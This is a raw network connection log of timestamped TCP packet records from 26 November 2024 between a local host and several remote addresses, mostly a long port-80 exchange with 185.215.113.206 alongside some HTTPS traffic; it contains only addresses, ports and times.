Nov 26, 2024 01:41:40.884427071 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.884471893 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.884512901 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.885463953 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.885538101 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.885576010 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.885643959 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.886527061 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.886606932 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.886646032 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.886934996 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.887620926 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.887701988 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.887731075 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.887774944 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.888691902 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.888819933 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.888843060 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.888859034 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.889802933 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.889918089 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.890110970 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.890902996 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.891014099 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.891062975 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.891971111 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.892033100 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.892088890 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.892127037 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.893079042 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.893138885 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.893238068 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.893306017 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.894167900 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.894288063 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.894361019 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.895237923 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.895283937 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.895343065 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.895688057 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.896332026 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.896395922 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.896456003 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.896605015 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.897488117 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.897593975 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.897649050 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.898490906 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.898540974 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.898597002 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.898631096 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.899328947 CET	443	49866	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:40.899597883 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.899699926 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.899751902 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.900665045 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.900765896 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.900772095 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.900924921 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.901772022 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.901830912 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.901864052 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.901896000 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.902846098 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.902956963 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.903018951 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.903932095 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.904036999 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.904052973 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.904071093 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.905050039 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.905073881 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:40.905121088 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:40.941500902 CET	443	49867	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:40.941853046 CET	49867	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:40.941865921 CET	443	49867	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:40.943701982 CET	443	49867	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:40.943809986 CET	49867	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:40.944253922 CET	49867	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:40.944341898 CET	443	49867	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:40.944578886 CET	49867	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:40.944583893 CET	443	49867	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:40.961762905 CET	443	49870	162.159.61.3	192.168.2.6
Nov 26, 2024 01:41:40.962436914 CET	49870	443	192.168.2.6	162.159.61.3
Nov 26, 2024 01:41:40.962445974 CET	443	49870	162.159.61.3	192.168.2.6
Nov 26, 2024 01:41:40.963917017 CET	443	49870	162.159.61.3	192.168.2.6
Nov 26, 2024 01:41:40.963977098 CET	49870	443	192.168.2.6	162.159.61.3
Nov 26, 2024 01:41:40.964265108 CET	49870	443	192.168.2.6	162.159.61.3
Nov 26, 2024 01:41:40.964345932 CET	443	49870	162.159.61.3	192.168.2.6
Nov 26, 2024 01:41:40.964425087 CET	49870	443	192.168.2.6	162.159.61.3
Nov 26, 2024 01:41:40.964432001 CET	443	49870	162.159.61.3	192.168.2.6
Nov 26, 2024 01:41:40.981837034 CET	49866	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:40.981844902 CET	443	49866	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:41.042443991 CET	49869	443	192.168.2.6	162.159.61.3
Nov 26, 2024 01:41:41.042515993 CET	49867	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:41.056241989 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.056299925 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.088193893 CET	49870	443	192.168.2.6	162.159.61.3
Nov 26, 2024 01:41:41.088433027 CET	49866	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:41.121310949 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.227089882 CET	443	49869	162.159.61.3	192.168.2.6
Nov 26, 2024 01:41:41.227160931 CET	443	49869	162.159.61.3	192.168.2.6
Nov 26, 2024 01:41:41.227201939 CET	49869	443	192.168.2.6	162.159.61.3
Nov 26, 2024 01:41:41.227391958 CET	49869	443	192.168.2.6	162.159.61.3
Nov 26, 2024 01:41:41.227416039 CET	443	49869	162.159.61.3	192.168.2.6
Nov 26, 2024 01:41:41.240566969 CET	443	49872	172.64.41.3	192.168.2.6
Nov 26, 2024 01:41:41.241612911 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.242357016 CET	49872	443	192.168.2.6	172.64.41.3
Nov 26, 2024 01:41:41.242367983 CET	443	49872	172.64.41.3	192.168.2.6
Nov 26, 2024 01:41:41.242835999 CET	443	49872	172.64.41.3	192.168.2.6
Nov 26, 2024 01:41:41.246927977 CET	49872	443	192.168.2.6	172.64.41.3
Nov 26, 2024 01:41:41.247024059 CET	443	49872	172.64.41.3	192.168.2.6
Nov 26, 2024 01:41:41.247068882 CET	49872	443	192.168.2.6	172.64.41.3
Nov 26, 2024 01:41:41.287331104 CET	443	49872	172.64.41.3	192.168.2.6
Nov 26, 2024 01:41:41.333165884 CET	443	49868	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:41.340718985 CET	49868	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:41.340734959 CET	443	49868	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:41.341229916 CET	49868	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:41.341234922 CET	443	49868	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:41.343770027 CET	49872	443	192.168.2.6	172.64.41.3
Nov 26, 2024 01:41:41.349199057 CET	443	49866	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:41.349219084 CET	443	49866	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:41.349230051 CET	443	49866	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:41.349248886 CET	443	49866	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:41.349260092 CET	443	49866	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:41.349273920 CET	443	49866	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:41.349302053 CET	49866	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:41.349302053 CET	49866	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:41.349313974 CET	443	49866	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:41.349329948 CET	49866	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:41.349364042 CET	49866	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:41.418037891 CET	443	49870	162.159.61.3	192.168.2.6
Nov 26, 2024 01:41:41.418129921 CET	443	49870	162.159.61.3	192.168.2.6
Nov 26, 2024 01:41:41.418180943 CET	49870	443	192.168.2.6	162.159.61.3
Nov 26, 2024 01:41:41.419961929 CET	49870	443	192.168.2.6	162.159.61.3
Nov 26, 2024 01:41:41.419970989 CET	443	49870	162.159.61.3	192.168.2.6
Nov 26, 2024 01:41:41.450630903 CET	443	49867	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:41.450659990 CET	443	49867	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:41.450668097 CET	443	49867	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:41.450691938 CET	443	49867	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:41.450701952 CET	49867	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:41.450710058 CET	443	49867	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:41.450720072 CET	443	49867	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:41.450733900 CET	49867	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:41.450733900 CET	443	49867	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:41.450766087 CET	49867	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:41.450784922 CET	49867	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:41.479096889 CET	443	49871	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:41.485321045 CET	49871	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:41.485352993 CET	443	49871	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:41.486146927 CET	49871	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:41.486166954 CET	443	49871	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:41.537043095 CET	443	49866	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:41.537055016 CET	443	49866	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:41.537087917 CET	443	49866	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:41.537101984 CET	443	49866	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:41.537117004 CET	443	49866	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:41.537120104 CET	49866	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:41.537134886 CET	443	49866	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:41.537188053 CET	49866	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:41.537188053 CET	49866	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:41.572890043 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.572910070 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.572971106 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.573484898 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.573534012 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.573637962 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.573709965 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.574491024 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.574506998 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.574537039 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.574557066 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.575532913 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.575550079 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.575607061 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.575639963 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.575802088 CET	443	49866	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:41.575809956 CET	443	49866	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:41.575845003 CET	443	49866	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:41.575851917 CET	443	49866	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:41.575921059 CET	49866	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:41.575921059 CET	49866	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:41.575931072 CET	443	49866	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:41.576030970 CET	49866	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:41.576634884 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.576651096 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.576682091 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.576699018 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.577708006 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.577797890 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.577827930 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.577898026 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.578814030 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.578881025 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.578938007 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.578991890 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.579848051 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.579890013 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.579937935 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.581058025 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.581073046 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.581119061 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.581134081 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.582156897 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.582173109 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.582204103 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.582220078 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.583204031 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.583271980 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.583292961 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.583332062 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.584263086 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.584327936 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.584356070 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.584398985 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.585346937 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.585572958 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.585608959 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.585625887 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.586460114 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.586476088 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.586520910 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.586534023 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.587541103 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.587594986 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.587615967 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.587754965 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.588689089 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.588705063 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.588738918 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.588752985 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.589673042 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.589730978 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.589797020 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.589842081 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.590761900 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.590816975 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.590852022 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.590941906 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.591888905 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.591965914 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.592008114 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.592963934 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.593007088 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.593029022 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.593204021 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.594068050 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.594115973 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.594152927 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.594192982 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.595150948 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.595205069 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.595248938 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.595361948 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.596260071 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.596373081 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.596398115 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.596410990 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.597330093 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.597385883 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.597455025 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.597496033 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.598505974 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.598578930 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.598628998 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.598747969 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.599615097 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.599663973 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.599678993 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.599720001 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.600667953 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.600682974 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.600718975 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.600733995 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.601650953 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.601701021 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.601730108 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.601768970 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.602811098 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.602833986 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.602866888 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.602881908 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.603872061 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.603918076 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.603919983 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.603954077 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.604937077 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.604979992 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.605021954 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.605061054 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.606023073 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.606070995 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.606142044 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.606199026 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.607095003 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.607153893 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.607218027 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.607263088 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.608181953 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.608248949 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.608292103 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.608333111 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.609292030 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.609357119 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.609446049 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.609510899 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.610373974 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.610433102 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.610471010 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.610516071 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.611469030 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.611495018 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.611530066 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.611545086 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.612556934 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.612618923 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.612663984 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.612740040 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.613635063 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.613707066 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.613754034 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.613792896 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.614706039 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.614764929 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.614854097 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.615108967 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.615808964 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.615856886 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.615897894 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.615936995 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.616916895 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.617007971 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.617022038 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.617060900 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.617984056 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.618058920 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.618062973 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.618092060 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.619100094 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.619193077 CET	49813	80	192.168.2.6	185.215.113.206
